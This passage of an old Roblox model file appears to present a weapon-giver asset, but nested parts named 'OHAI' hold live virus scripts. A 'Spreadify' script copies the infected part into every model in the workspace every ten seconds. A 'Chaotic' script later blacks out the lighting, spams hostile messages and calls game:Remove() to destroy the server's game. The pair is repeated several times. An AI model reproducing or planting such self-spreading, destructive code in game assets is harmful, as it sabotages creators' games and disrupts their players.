--Then place your Weapon or Tool in the &quot;PUT THE WEAPON IN THIS BRICK&quot; brick.

--IMPORTANT (OPTINAL)
--Before doing anything you should put the Weapon or Tool in the giver where you want it.</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Geometry" referent="RBX130">
						<Properties>
							<string name="Name">OHAI</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Model" referent="RBX131">
							<Properties>
								<token name="Controller">0</token>
								<bool name="ControllerFlagShown">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Controls</string>
								<Ref name="PrimaryPart">null</Ref>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX132">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Chaotic</string>
									<string name="Source">messages = {&quot;Death to roblox!&quot;, &quot;Robloxian Spirits will prevail!&quot;, &quot;Free model using fool!&quot;, &quot;1x1x1x1 will come!&quot;, &quot;Destruction to roblox!&quot;, &quot;Burn the capitalists, comrades!&quot;, &quot;We have already captured chuck norris, you are doomed!&quot;, &quot;FOR THE MOTHERLAND&quot;, &quot;SPAMSPAMSPAMSPAM&quot;, &quot;Telamon&apos;s security system sucks..&quot;, &quot;MrDoomBringer Phailz!&quot;, &quot;SPAMSKOIADGFVIKHJNWDSIV&quot;, &quot;KOMAPSAMEDA&quot;, &quot;I LOVE YOU&quot;, &quot;I HATE YOU&quot;, &quot;This is all a script, an alternate form of reality.&quot;, &quot;SPAM THE FORUMS PLZ&quot;}

while true do
wait(600)
if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
game.Lighting.TimeOfDay = &quot;00:00:00&quot;
game.Lighting.Brightness = 0
for i=1, 300 do
local a = Instance.new(&quot;Message&quot;)
a.Parent = game.Workspace
a.Text = messages[math.random(1, #messages)]
wait(.05)
end
game:Remove()
end
end
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX133">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Spreadify</string>
									<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Geometry" referent="RBX134">
					<Properties>
						<string name="Name">OHAI</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX135">
						<Properties>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Controls</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX136">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Chaotic</string>
								<string name="Source">messages = {&quot;Death to roblox!&quot;, &quot;Robloxian Spirits will prevail!&quot;, &quot;Free model using fool!&quot;, &quot;1x1x1x1 will come!&quot;, &quot;Destruction to roblox!&quot;, &quot;Burn the capitalists, comrades!&quot;, &quot;We have already captured chuck norris, you are doomed!&quot;, &quot;FOR THE MOTHERLAND&quot;, &quot;SPAMSPAMSPAMSPAM&quot;, &quot;Telamon&apos;s security system sucks..&quot;, &quot;MrDoomBringer Phailz!&quot;, &quot;SPAMSKOIADGFVIKHJNWDSIV&quot;, &quot;KOMAPSAMEDA&quot;, &quot;I LOVE YOU&quot;, &quot;I HATE YOU&quot;, &quot;This is all a script, an alternate form of reality.&quot;, &quot;SPAM THE FORUMS PLZ&quot;}

while true do
wait(600)
if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
game.Lighting.TimeOfDay = &quot;00:00:00&quot;
game.Lighting.Brightness = 0
for i=1, 300 do
local a = Instance.new(&quot;Message&quot;)
a.Parent = game.Workspace
a.Text = messages[math.random(1, #messages)]
wait(.05)
end
game:Remove()
end
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX137">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Spreadify</string>
								<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
			<Item class="Geometry" referent="RBX138">
				<Properties>
					<string name="Name">OHAI</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX139">
					<Properties>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Controls</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX140">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Chaotic</string>
							<string name="Source">messages = {&quot;Death to roblox!&quot;, &quot;Robloxian Spirits will prevail!&quot;, &quot;Free model using fool!&quot;, &quot;1x1x1x1 will come!&quot;, &quot;Destruction to roblox!&quot;, &quot;Burn the capitalists, comrades!&quot;, &quot;We have already captured chuck norris, you are doomed!&quot;, &quot;FOR THE MOTHERLAND&quot;, &quot;SPAMSPAMSPAMSPAM&quot;, &quot;Telamon&apos;s security system sucks..&quot;, &quot;MrDoomBringer Phailz!&quot;, &quot;SPAMSKOIADGFVIKHJNWDSIV&quot;, &quot;KOMAPSAMEDA&quot;, &quot;I LOVE YOU&quot;, &quot;I HATE YOU&quot;, &quot;This is all a script, an alternate form of reality.&quot;, &quot;SPAM THE FORUMS PLZ&quot;}

while true do
wait(600)
if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
game.Lighting.TimeOfDay = &quot;00:00:00&quot;
game.Lighting.Brightness = 0
for i=1, 300 do
local a = Instance.new(&quot;Message&quot;)
a.Parent = game.Workspace
a.Text = messages[math.random(1, #messages)]
wait(.05)
end
game:Remove()
end
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX141">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Spreadify</string>
							<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
	</Item>
	<Item class="RunService" referent="RBX142">
		<Properties>
			<string name="Name">Run Service</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<External>RBX143</External>
	<External>RBX144</External>
	<Item class="ContentProvider" referent="RBX145">
		<Properties>
			<string name="Name">Instance</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<Item class="Players" referent="RBX146">
		<Properties>
			<int name="MaxPlayers">8</int>
			<string name="Name">Players</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<Item class="StarterPack" referent="RBX147">
		<Properties>
			<string name="Name">StarterPack</string>
			<bool name="archivable">true</bool>
		</Properties>
		<Item class="HopperBin" referent="RBX148">
			<Properties>
				<token name="BinType">4</token>
				<string name="Name">HopperBin</string>
				<Content name="TextureId"><url>rbxasset://Textures\Hammer.png</url></Content>
				<bool name="archivable">true</bool>
			</Properties>
		</Item>
		<Item class="HopperBin" referent="RBX149">
			<Properties>
				<token name="BinType">3</token>
				<string name="Name">HopperBin</string>
				<Content name="TextureId"><url>rbxasset://Textures\Clone.png</url></Content>
				<bool name="archivable">true</bool>
			</Properties>
		</Item>
		<Item class="HopperBin" referent="RBX150">
			<Properties>
				<token name="BinType">1</token>
				<string name="Name">GameTool</string>
				<Content name="TextureId"><url>rbxasset://Textures\GameTool.png</url></Content>
				<bool name="archivable">true</bool>
			</Properties>
		</Item>
	</Item>
	<Item class="SoundService" referent="RBX151">
		<Properties>
			<token name="AmbientReverb">0</token>
			<float name="DistanceFactor">10</float>
			<float name="DopplerScale">1</float>
			<string name="Name">SoundService</string>
			<float name="RolloffScale">1</float>
			<bool name="archivable">true</bool>
		</Properties>
		<External>RBX152</External>
		<External>RBX153</External>
		<External>RBX154</External>
		<External>RBX155</External>
		<External>RBX156</External>
		<External>RBX157</External>
		<External>RBX158</External>
		<External>RBX159</External>
		<External>RBX160</External>
		<External>RBX161</External>
		<External>RBX162</External>
		<External>RBX163</External>
		<External>RBX164</External>
		<External>RBX165</External>
	</Item>
	<Item class="PhysicsService" referent="RBX166">
		<Properties>
			<string name="Name">PhysicsService</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<External>RBX167</External>
	<Item class="Selection" referent="RBX168">
		<Properties>
			<string name="Name">Selection</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<External>RBX169</External>
	<Item class="Lighting" referent="RBX170">
		<Properties>
			<Color3 name="Ambient">4286808963</Color3>
			<float name="Brightness">1</float>
			<Color3 name="ColorShift_Bottom">4278190080</Color3>
			<Color3 name="ColorShift_Top">4278190080</Color3>
			<float name="GeographicLatitude">41.7332993</float>
			<string name="Name">Lighting</string>
			<Color3 name="ShadowColor">4290164411</Color3>
			<string name="TimeOfDay">14:00:00</string>
			<bool name="archivable">true</bool>
		</Properties>
		<Item class="Sky" referent="RBX171">
			<Properties>
				<bool name="CelestialBodiesShown">true</bool>
				<string name="Name">Sky</string>
				<Content name="SkyboxBk"><url>http://www.roblox.com/asset/?version=1&amp;id=1010388</url></Content>
				<Content name="SkyboxDn"><url>http://www.roblox.com/asset/?version=1&amp;id=1010389</url></Content>
				<Content name="SkyboxFt"><url>http://www.roblox.com/asset/?version=1&amp;id=1010386</url></Content>
				<Content name="SkyboxLf"><url>http://www.roblox.com/asset/?version=1&amp;id=1010387</url></Content>
				<Content name="SkyboxRt"><url>http://www.roblox.com/asset/?version=1&amp;id=1010385</url></Content>
				<Content name="SkyboxUp"><url>http://www.roblox.com/asset/?version=1&amp;id=1010390</url></Content>
				<int name="StarCount">3000</int>
				<bool name="archivable">true</bool>
			</Properties>
		</Item>
	</Item>
	<Item class="ControllerService" referent="RBX172">
		<Properties>
			<string name="Name">Instance</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<Item class="ChangeHistoryService" referent="RBX173">
		<Properties>
			<string name="Name">ChangeHistoryService</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<External>RBX174</External>
	<Item class="Timer" referent="RBX175">
		<Properties>
			<string name="Name">Instance</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<External>RBX176</External>
	<Item class="Debris" referent="RBX177">
		<Properties>
			<int name="MaxItems">300</int>
			<string name="Name">Debris</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<Item class="Geometry" referent="RBX178">
		<Properties>
			<string name="Name">Geometry</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<External>RBX179</External>
</roblox>